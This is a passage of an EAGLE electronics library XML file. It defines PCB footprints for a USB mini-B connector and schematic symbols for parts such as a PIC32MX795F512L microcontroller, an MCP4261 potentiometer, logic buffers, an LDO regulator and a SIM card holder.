rot=\"R90\"/>\n<smd name=\"B\" x=\"-4.32\" y=\"10.59\" dx=\"0.7\" dy=\"1.05\" layer=\"1\"/>\n<smd name=\"GND\" x=\"-2.04\" y=\"10.45\" dx=\"1.4\" dy=\"1.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@1\" x=\"2.66\" y=\"10.45\" dx=\"1.4\" dy=\"1.8\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@2\" x=\"-5.05\" y=\"-2.8\" dx=\"2.21\" dy=\"1.9\" layer=\"1\"/>\n<smd name=\"GND@3\" x=\"8.4\" y=\"-3\" dx=\"1.35\" dy=\"1.9\" layer=\"1\"/>\n<rectangle x1=\"-4.55\" y1=\"1.9\" x2=\"4.45\" y2=\"7.52\" layer=\"39\"/>\n<rectangle x1=\"5.31\" y1=\"3.35\" x2=\"6.71\" y2=\"6.85\" layer=\"39\"/>\n<rectangle x1=\"-4.34\" y1=\"-3.75\" x2=\"-3.16\" y2=\"-3.05\" layer=\"39\"/>\n<wire x1=\"8.78\" y1=\"10.85\" x2=\"-5.85\" y2=\"10.85\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-5.85\" y1=\"10.85\" x2=\"-5.85\" y2=\"-4.5\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-5.85\" y1=\"-4.5\" x2=\"8.78\" y2=\"-4.5\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"8.78\" y1=\"-4.5\" x2=\"8.78\" y2=\"10.85\" width=\"0.127\" layer=\"21\"/>\n</package>\n<package name=\"USB_MINI_B_FARN1125348\">\n<smd name=\"D+\" x=\"0\" y=\"0\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<smd name=\"ID\" x=\"0\" y=\"-0.8\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<smd name=\"GND\" x=\"0\" y=\"-1.6\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<smd name=\"D-\" x=\"0\" y=\"0.8\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<smd name=\"VBUS\" x=\"0\" y=\"1.6\" dx=\"2.25\" dy=\"0.5\" layer=\"1\"/>\n<hole x=\"-2.3\" y=\"2.2\" drill=\"0.9\"/>\n<hole x=\"-2.3\" y=\"-2.2\" drill=\"0.9\"/>\n<smd name=\"GND@4\" x=\"-4.2\" y=\"4.9\" dx=\"2.05\" dy=\"4\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@1\" x=\"-4.2\" y=\"-4.9\" dx=\"2.05\" dy=\"4\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@3\" x=\"0.05\" y=\"4.9\" dx=\"2.05\" dy=\"3.5\" layer=\"1\" rot=\"R90\"/>\n<smd name=\"GND@2\" x=\"0.05\" y=\"-4.9\" dx=\"2.05\" dy=\"3.5\" layer=\"1\" rot=\"R90\"/>\n<wire x1=\"-6.3\" y1=\"3.9\" x2=\"-8.2\" y2=\"3.9\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-8.2\" y1=\"3.9\" x2=\"-8.2\" y2=\"-3.8\" width=\"0.127\" layer=\"21\"/>\n<wire x1=\"-8.2\" y1=\"-3.8\" x2=\"-6.3\" y2=\"-3.8\" width=\"0.127\" layer=\"21\"/>\n<rectangle x1=\"-6.2\" y1=\"-3.1\" x2=\"-5\" y2=\"3.1\" layer=\"41\"/>\n<text x=\"-5.3\" y=\"6.4\" size=\"1.27\" layer=\"21\">&gt;NAME</text>\n<text x=\"-5.7\" y=\"-7.7\" size=\"1.27\" layer=\"21\">&gt;VALUE</text>\n</package>\n</packages>\n<symbols>\n<symbol name=\"OR_GATE\">\n<wire x1=\"-1.27\" y1=\"5.08\" x2=\"-7.62\" y2=\"5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"-5.08\" x2=\"-7.62\" y2=\"-5.08\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-7.62\" y1=\"2.54\" x2=\"-6.096\" y2=\"2.54\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-7.62\" y1=\"-2.54\" x2=\"-6.096\" y2=\"-2.54\" width=\"0.1524\" layer=\"94\"/>\n<wire x1=\"-1.2446\" y1=\"-5.0678\" x2=\"7.5439\" y2=\"0.0507\" width=\"0.4064\" layer=\"94\" curve=\"60.147106\" cap=\"flat\"/>\n<wire x1=\"-1.2446\" y1=\"5.0678\" x2=\"7.5442\" y2=\"-0.0505\" width=\"0.4064\" layer=\"94\" curve=\"-60.148802\" cap=\"flat\"/>\n<wire x1=\"-7.62\" y1=\"5.08\" x2=\"-7.62\" y2=\"-5.08\" width=\"0.4064\" layer=\"94\" curve=\"-90\"/>\n<text x=\"-12.7\" y=\"5.715\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-12.7\" y=\"-7.62\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"Y\" x=\"12.7\" y=\"0\" visible=\"pad\" length=\"middle\" direction=\"out\" rot=\"R180\"/>\n<pin name=\"A\" x=\"-12.7\" y=\"2.54\" visible=\"pad\" length=\"middle\" direction=\"in\" swaplevel=\"1\"/>\n<pin name=\"B\" x=\"-12.7\" y=\"-2.54\" visible=\"pad\" length=\"middle\" direction=\"in\" swaplevel=\"1\"/>\n<pin name=\"VDD\" x=\"-2.54\" y=\"10.16\" length=\"middle\" rot=\"R270\"/>\n<pin name=\"GND\" x=\"0\" y=\"-10.16\" length=\"middle\" rot=\"R90\"/>\n</symbol>\n<symbol name=\"SN74LVC2G17DCKR\">\n<pin name=\"VCC\" x=\"-17.78\" y=\"2.54\" length=\"middle\" direction=\"pwr\" swaplevel=\"1\"/>\n<pin name=\"1A\" x=\"-17.78\" y=\"-2.54\" length=\"middle\" direction=\"in\" swaplevel=\"1\"/>\n<pin name=\"2A\" x=\"-17.78\" y=\"-5.08\" length=\"middle\" direction=\"in\" swaplevel=\"1\"/>\n<pin name=\"GND\" x=\"-17.78\" y=\"-10.16\" length=\"middle\" direction=\"pas\" swaplevel=\"1\"/>\n<pin name=\"1Y\" x=\"17.78\" y=\"2.54\" length=\"middle\" direction=\"out\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"2Y\" x=\"17.78\" y=\"0\" length=\"middle\" direction=\"out\" swaplevel=\"1\" rot=\"R180\"/>\n<wire x1=\"-12.7\" y1=\"7.62\" x2=\"-12.7\" y2=\"-15.24\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-12.7\" y1=\"-15.24\" x2=\"12.7\" y2=\"-15.24\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"12.7\" y1=\"-15.24\" x2=\"12.7\" y2=\"7.62\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"12.7\" y1=\"7.62\" x2=\"-12.7\" y2=\"7.62\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-5.3594\" y=\"11.6586\" size=\"2.0828\" layer=\"95\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<text x=\"-4.0132\" y=\"-18.4658\" size=\"2.0828\" layer=\"96\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</symbol>\n<symbol name=\"MCP4261-104E/SL\">\n<pin name=\"VDD\" x=\"-17.78\" y=\"7.62\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"!CS\" x=\"-17.78\" y=\"2.54\" length=\"middle\" direction=\"in\"/>\n<pin name=\"SCK\" x=\"-17.78\" y=\"0\" length=\"middle\" direction=\"in\"/>\n<pin name=\"SDI\" x=\"-17.78\" y=\"-2.54\" length=\"middle\" direction=\"in\"/>\n<pin name=\"!SHDN\" x=\"-17.78\" y=\"-5.08\" length=\"middle\" direction=\"in\"/>\n<pin name=\"NC\" x=\"-17.78\" y=\"-10.16\" length=\"middle\" direction=\"nc\"/>\n<pin name=\"VSS\" x=\"-17.78\" y=\"-15.24\" length=\"middle\" direction=\"pas\"/>\n<pin name=\"P0A\" x=\"17.78\" y=\"7.62\" length=\"middle\" direction=\"pas\" rot=\"R180\"/>\n<pin name=\"P0W\" x=\"17.78\" y=\"5.08\" length=\"middle\" direction=\"pas\" rot=\"R180\"/>\n<pin name=\"P0B\" x=\"17.78\" y=\"2.54\" length=\"middle\" direction=\"pas\" rot=\"R180\"/>\n<pin name=\"P1A\" x=\"17.78\" y=\"-2.54\" length=\"middle\" direction=\"pas\" rot=\"R180\"/>\n<pin name=\"P1W\" x=\"17.78\" y=\"-5.08\" length=\"middle\" direction=\"pas\" rot=\"R180\"/>\n<pin name=\"P1B\" x=\"17.78\" y=\"-7.62\" length=\"middle\" direction=\"pas\" rot=\"R180\"/>\n<pin name=\"SDO\" x=\"17.78\" y=\"-12.7\" length=\"middle\" direction=\"out\" rot=\"R180\"/>\n<wire x1=\"-12.7\" y1=\"12.7\" x2=\"-12.7\" y2=\"-20.32\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-12.7\" y1=\"-20.32\" x2=\"12.7\" y2=\"-20.32\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"12.7\" y1=\"-20.32\" x2=\"12.7\" y2=\"12.7\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"12.7\" y1=\"12.7\" x2=\"-12.7\" y2=\"12.7\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-4.572\" y=\"15.5702\" size=\"2.0828\" layer=\"95\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<text x=\"-4.8514\" y=\"-24.3586\" size=\"2.0828\" layer=\"96\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</symbol>\n<symbol name=\"PINHD1\">\n<text x=\"-3.429\" y=\"1.397\" size=\"1.016\" layer=\"95\" ratio=\"15\">&gt;NAME</text>\n<text x=\"-3.3782\" y=\"-2.2352\" size=\"1.016\" layer=\"96\" ratio=\"15\">&gt;VALUE</text>\n<pin name=\"1\" x=\"-2.54\" y=\"0\" visible=\"pad\" length=\"point\" direction=\"pas\" function=\"dot\"/>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-1.778\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.778\" y1=\"0\" x2=\"-1.016\" y2=\"0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"0.762\" x2=\"-0.254\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"-1.016\" y2=\"-0.762\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"-0.762\" x2=\"-1.778\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.778\" y1=\"0\" x2=\"-1.524\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.524\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.508\" y1=\"0\" x2=\"-1.016\" y2=\"0.508\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"0.508\" x2=\"-1.524\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.524\" y1=\"0\" x2=\"-1.016\" y2=\"-0.508\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"-0.508\" x2=\"-0.508\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.508\" y1=\"0\" x2=\"-0.762\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.762\" y1=\"0\" x2=\"-1.016\" y2=\"0.254\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"0.254\" x2=\"-1.27\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-1.016\" y2=\"-0.254\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-1.016\" y1=\"-0.254\" x2=\"-0.762\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n<wire x1=\"-0.762\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.254\" layer=\"94\"/>\n</symbol>\n<symbol name=\"PIC32MX795F512L-80I/PF\">\n<pin name=\"AVDD\" x=\"-83.82\" y=\"73.66\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"VDD_2\" x=\"-83.82\" y=\"71.12\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"VDD_3\" x=\"-83.82\" y=\"68.58\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"VDD_4\" x=\"-83.82\" y=\"66.04\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"VDD_5\" x=\"-83.82\" y=\"63.5\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"VDD_6\" x=\"-83.82\" y=\"60.96\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"VDD\" x=\"-83.82\" y=\"58.42\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"VCAP/VDDCORE\" x=\"-83.82\" y=\"55.88\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"!MCLR\" x=\"-83.82\" y=\"50.8\" length=\"middle\" direction=\"in\"/>\n<pin name=\"VBUS\" x=\"-83.82\" y=\"45.72\" length=\"middle\" direction=\"in\"/>\n<pin name=\"VUSB\" x=\"-83.82\" y=\"43.18\" length=\"middle\" direction=\"pwr\"/>\n<pin name=\"TMS/RA0\" x=\"-83.82\" y=\"38.1\" length=\"middle\"/>\n<pin name=\"TCK/RA1\" x=\"-83.82\" y=\"35.56\" length=\"middle\"/>\n<pin name=\"SCL2/RA2\" x=\"-83.82\" y=\"33.02\" length=\"middle\"/>\n<pin name=\"SDA2/RA3\" x=\"-83.82\" y=\"30.48\" length=\"middle\"/>\n<pin name=\"TDI/RA4\" x=\"-83.82\" y=\"27.94\" length=\"middle\"/>\n<pin name=\"TDO/RA5\" x=\"-83.82\" y=\"25.4\" length=\"middle\"/>\n<pin name=\"TRCLK/RA6\" x=\"-83.82\" y=\"22.86\" length=\"middle\"/>\n<pin name=\"TRD3/RA7\" x=\"-83.82\" y=\"20.32\" length=\"middle\"/>\n<pin name=\"VREF-/CVREF-/AERXD2/PMA7/RA9\" x=\"-83.82\" y=\"17.78\" length=\"middle\"/>\n<pin name=\"VREF+/CVREF+/AERXD3/PMA6/RA10\" x=\"-83.82\" y=\"15.24\" length=\"middle\"/>\n<pin name=\"AETXCLK/SCL1/INT3/RA14\" x=\"-83.82\" y=\"12.7\" length=\"middle\"/>\n<pin name=\"AETXEN/SDA1/INT4/RA15\" x=\"-83.82\" y=\"10.16\" length=\"middle\"/>\n<pin name=\"PGED1/AN0/CN2/RB0\" x=\"-83.82\" y=\"5.08\" length=\"middle\"/>\n<pin name=\"PGEC1/AN1/CN3/RB1\" x=\"-83.82\" y=\"2.54\" length=\"middle\"/>\n<pin name=\"AN2/C2IN-/CN4/RB2\" x=\"-83.82\" y=\"0\" length=\"middle\"/>\n<pin name=\"AN3/C2IN+/CN5/RB3\" x=\"-83.82\" y=\"-2.54\" length=\"middle\"/>\n<pin name=\"AN4/C1IN-/CN6/RB4\" x=\"-83.82\" y=\"-5.08\" length=\"middle\"/>\n<pin name=\"AN5/C1IN+/VBUSON/CN7/RB5\" x=\"-83.82\" y=\"-7.62\" length=\"middle\"/>\n<pin name=\"PGEC2/AN6/OCFA/RB6\" x=\"-83.82\" y=\"-10.16\" length=\"middle\"/>\n<pin name=\"PGED2/AN7/RB7\" x=\"-83.82\" y=\"-12.7\" length=\"middle\"/>\n<pin name=\"AN8/C1OUT/RB8\" x=\"-83.82\" y=\"-15.24\" length=\"middle\"/>\n<pin name=\"AN9/C2OUT/RB9\" x=\"-83.82\" y=\"-17.78\" length=\"middle\"/>\n<pin name=\"AN10/CVREFOUT/PMA13/RB10\" x=\"-83.82\" y=\"-20.32\" length=\"middle\"/>\n<pin name=\"AN11/ERXERR/AETXERR/PMA12/RB11\" x=\"-83.82\" y=\"-22.86\" length=\"middle\"/>\n<pin name=\"AN12/ERXD0/AECRS/PMA11/RB12\" x=\"-83.82\" y=\"-25.4\" length=\"middle\"/>\n<pin name=\"AN13/ERXD1/AECOL/PMA10/RB13\" x=\"-83.82\" y=\"-27.94\" length=\"middle\"/>\n<pin name=\"AN14/ERXD2/AETXD3/PMALH/PMA1/RB14\" x=\"-83.82\" y=\"-30.48\" length=\"middle\"/>\n<pin name=\"AN15/ERXD3/AETXD2/OCFB/PMALL/PMA0/CN12/RB15\" x=\"-83.82\" y=\"-33.02\" length=\"middle\"/>\n<pin name=\"T2CK/RC1\" x=\"-83.82\" y=\"-40.64\" length=\"middle\"/>\n<pin name=\"T3CK/RC2/AC2TX\" x=\"-83.82\" y=\"-43.18\" length=\"middle\"/>\n<pin name=\"T4CK/AC2RX/RC3\" x=\"-83.82\" y=\"-45.72\" length=\"middle\"/>\n<pin name=\"T5CK/SDI1/RC4\" x=\"-83.82\" y=\"-48.26\" length=\"middle\"/>\n<pin name=\"OSC1/CLKI/RC12\" x=\"-83.82\" y=\"-50.8\" length=\"middle\"/>\n<pin name=\"OSC2/CLKO/RC15\" x=\"-83.82\" y=\"-53.34\" length=\"middle\"/>\n<pin name=\"SOSCI/CN1/RC13\" x=\"-83.82\" y=\"-55.88\" length=\"middle\"/>\n<pin name=\"SOSCO/T1CK/CN0/RC14\" x=\"-83.82\" y=\"-58.42\" length=\"middle\"/>\n<pin name=\"VSS_2\" x=\"-83.82\" y=\"-66.04\" length=\"middle\" direction=\"pas\"/>\n<pin name=\"VSS_3\" x=\"-83.82\" y=\"-68.58\" length=\"middle\" direction=\"pas\"/>\n<pin name=\"VSS_4\" x=\"-83.82\" y=\"-71.12\" length=\"middle\" direction=\"pas\"/>\n<pin name=\"VSS_5\" x=\"-83.82\" y=\"-73.66\" length=\"middle\" direction=\"pas\"/>\n<pin name=\"VSS\" x=\"-83.82\" y=\"-76.2\" length=\"middle\" direction=\"pas\"/>\n<pin name=\"AVSS\" x=\"-83.82\" y=\"-78.74\" length=\"middle\" direction=\"pas\"/>\n<pin name=\"C2RX/PMD8/RG0\" x=\"83.82\" y=\"73.66\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"C2TX/ETXERR/PMD9/RG1\" x=\"83.82\" y=\"71.12\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"D-/RG3\" x=\"83.82\" y=\"68.58\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"D+/RG2\" x=\"83.82\" y=\"66.04\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"ECOL/SCK2A/U2BTX/!U2ARTS!/PMA5/CN8/RG6\" x=\"83.82\" y=\"63.5\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"ECRS/SDA2A/SDI2A/U2ARX/PMA4/CN9/RG7\" x=\"83.82\" y=\"60.96\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"ERXDV/SCL2A/SDO2A/U2ATX/PMA3/CN10/RG8\" x=\"83.82\" y=\"58.42\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"ERXCLK/!SS2A!/U2BRX/!U2ACTS!/PMA2/CN11/RG9\" x=\"83.82\" y=\"55.88\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"TRD1/RG12\" x=\"83.82\" y=\"53.34\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"TRD0/RG13\" x=\"83.82\" y=\"50.8\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"TRD2/RG14\" x=\"83.82\" y=\"48.26\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"AERXERR/RG15\" x=\"83.82\" y=\"45.72\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMD0/RE0\" x=\"83.82\" y=\"40.64\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMD1/RE1\" x=\"83.82\" y=\"38.1\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMD2/RE2\" x=\"83.82\" y=\"35.56\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMD3/RE3\" x=\"83.82\" y=\"33.02\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMD4/RE4\" x=\"83.82\" y=\"30.48\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMD5/RE5\" x=\"83.82\" y=\"27.94\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMD6/RE6\" x=\"83.82\" y=\"25.4\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMD7/RE7\" x=\"83.82\" y=\"22.86\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"AERXD0/INT1/RE8\" x=\"83.82\" y=\"20.32\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"AERXD1/INT2/RE9\" x=\"83.82\" y=\"17.78\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"SDO1/OC1/INT0/RD0\" x=\"83.82\" y=\"12.7\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"OC2/RD1\" x=\"83.82\" y=\"10.16\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"OC3/RD2\" x=\"83.82\" y=\"7.62\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"OC4/RD3\" x=\"83.82\" y=\"5.08\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"OC5/PMWR/CN13/RD4\" x=\"83.82\" y=\"2.54\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"PMRD/CN14/RD5\" x=\"83.82\" y=\"0\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"ETXEN/PMD14/CN15/RD6\" x=\"83.82\" y=\"-2.54\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"ETXCLK/PMD15/CN16/RD7\" x=\"83.82\" y=\"-5.08\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"RTCC/EMDIO/IC1/RD8\" x=\"83.82\" y=\"-7.62\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"!SS1!/IC2/RD9\" x=\"83.82\" y=\"-10.16\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"SCK1/IC3/PMCS2/PMA15/RD10\" x=\"83.82\" y=\"-12.7\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"EMDC/IC4/PMCS1/PMA14/RD11\" x=\"83.82\" y=\"-15.24\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"ETXD2/IC5/PMD12/RD12\" x=\"83.82\" y=\"-17.78\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"ETXD3/PMD13/CN19/RD13\" x=\"83.82\" y=\"-20.32\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"AETXD0/!SS1A!/U1BRX/!U1ACTS!/CN20/RD14\" x=\"83.82\" y=\"-22.86\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"AETXD1/SCK1A/U1BTX/!U1ARTS!/CN21/RD15\" x=\"83.82\" y=\"-25.4\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"C1RX/ETXD1/PMD11/RF0\" x=\"83.82\" y=\"-30.48\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"C1TX/ETXD0/PMD10/RF1\" x=\"83.82\" y=\"-33.02\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"SDA1A/SDI1A/U1ARX/RF2\" x=\"83.82\" y=\"-35.56\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"USBID/RF3\" x=\"83.82\" y=\"-38.1\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"SDA3A/SDI3A/U3ARX/PMA9/CN17/RF4\" x=\"83.82\" y=\"-40.64\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"SCL3A/SDO3A/U3ATX/PMA8/CN18/RF5\" x=\"83.82\" y=\"-43.18\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"SCL1A/SDO1A/U1ATX/RF8\" x=\"83.82\" y=\"-45.72\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"AC1RX/!SS3A!/U3BRX/!U3ACTS!/RF12\" x=\"83.82\" y=\"-48.26\" length=\"middle\" rot=\"R180\"/>\n<pin name=\"AC1TX/SCK3A/U3BTX/!U3ARTS!/RF13\" x=\"83.82\" y=\"-50.8\" length=\"middle\" rot=\"R180\"/>\n<wire x1=\"-78.74\" y1=\"78.74\" x2=\"-78.74\" y2=\"-83.82\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-78.74\" y1=\"-83.82\" x2=\"78.74\" y2=\"-83.82\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"78.74\" y1=\"-83.82\" x2=\"78.74\" y2=\"78.74\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"78.74\" y1=\"78.74\" x2=\"-78.74\" y2=\"78.74\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-5.6388\" y=\"80.5434\" size=\"2.0828\" layer=\"95\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<text x=\"-11.9634\" y=\"-88.011\" size=\"2.0828\" layer=\"96\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</symbol>\n<symbol name=\"V-REG-LDO-223\">\n<wire x1=\"-5.08\" y1=\"-7.62\" x2=\"10.16\" y2=\"-7.62\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"10.16\" y1=\"-7.62\" x2=\"10.16\" y2=\"7.62\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"10.16\" y1=\"7.62\" x2=\"-5.08\" y2=\"7.62\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-5.08\" y1=\"7.62\" x2=\"-5.08\" y2=\"-7.62\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-5.08\" y=\"9.144\" size=\"1.778\" layer=\"95\">&gt;NAME</text>\n<text x=\"-5.08\" y=\"-11.43\" size=\"1.778\" layer=\"96\">&gt;VALUE</text>\n<pin name=\"IN\" x=\"-7.62\" y=\"-5.08\" visible=\"pin\" length=\"short\" direction=\"pwr\"/>\n<pin name=\"GND\" x=\"-7.62\" y=\"5.08\" visible=\"pin\" length=\"short\" direction=\"pwr\"/>\n<pin name=\"OUT1\" x=\"12.7\" y=\"0\" visible=\"pin\" length=\"short\" direction=\"pwr\" swaplevel=\"1\" rot=\"R180\"/>\n</symbol>\n<symbol name=\"SN74AHCT125D\">\n<pin name=\"VCC\" x=\"-17.78\" y=\"12.7\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"!1OE\" x=\"-17.78\" y=\"7.62\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"!2OE\" x=\"-17.78\" y=\"5.08\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"!3OE\" x=\"-17.78\" y=\"2.54\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"!4OE\" x=\"-17.78\" y=\"0\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"1A\" x=\"-17.78\" y=\"-5.08\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"2A\" x=\"-17.78\" y=\"-7.62\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"3A\" x=\"-17.78\" y=\"-10.16\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"4A\" x=\"-17.78\" y=\"-12.7\" visible=\"pin\" length=\"middle\" direction=\"in\"/>\n<pin name=\"GND\" x=\"-17.78\" y=\"-17.78\" visible=\"pin\" length=\"middle\" direction=\"pas\"/>\n<pin name=\"1Y\" x=\"17.78\" y=\"12.7\" visible=\"pin\" length=\"middle\" direction=\"out\" rot=\"R180\"/>\n<pin name=\"2Y\" x=\"17.78\" y=\"10.16\" visible=\"pin\" length=\"middle\" direction=\"out\" rot=\"R180\"/>\n<pin name=\"3Y\" x=\"17.78\" y=\"7.62\" visible=\"pin\" length=\"middle\" direction=\"out\" rot=\"R180\"/>\n<pin name=\"4Y\" x=\"17.78\" y=\"5.08\" visible=\"pin\" length=\"middle\" direction=\"out\" rot=\"R180\"/>\n<wire x1=\"-12.7\" y1=\"17.78\" x2=\"-12.7\" y2=\"-22.86\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"-12.7\" y1=\"-22.86\" x2=\"12.7\" y2=\"-22.86\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"12.7\" y1=\"-22.86\" x2=\"12.7\" y2=\"17.78\" width=\"0.4064\" layer=\"94\"/>\n<wire x1=\"12.7\" y1=\"17.78\" x2=\"-12.7\" y2=\"17.78\" width=\"0.4064\" layer=\"94\"/>\n<text x=\"-5.3594\" y=\"21.8186\" size=\"2.0828\" layer=\"95\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<text x=\"-3.937\" y=\"-28.7274\" size=\"2.0828\" layer=\"96\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</symbol>\n<symbol name=\"SIMCARD_HOLDER_SMALL\">\n<pin name=\"VCC_SIM_PIN_1\" x=\"-38.1\" y=\"2.54\" visible=\"pin\" length=\"short\" swaplevel=\"1\"/>\n<pin name=\"RESET_SIM_PIN_2\" x=\"-38.1\" y=\"-2.54\" visible=\"pin\" length=\"short\" swaplevel=\"1\"/>\n<pin name=\"CLOCK_SIM_PIN_3\" x=\"-38.1\" y=\"-7.62\" visible=\"pin\" length=\"short\" swaplevel=\"1\"/>\n<pin name=\"GND_SIM_PIN_5\" x=\"15.24\" y=\"2.54\" visible=\"pin\" length=\"short\" swaplevel=\"1\" rot=\"R180\"/>\n<pin name=\"VPP_SIM_PIN_6\" x=\"15.24\" y=\"-2.54\" visible=\"pin\" length=\"short\" swaplevel=\"1\" rot=\"R180\"/>\n<pin 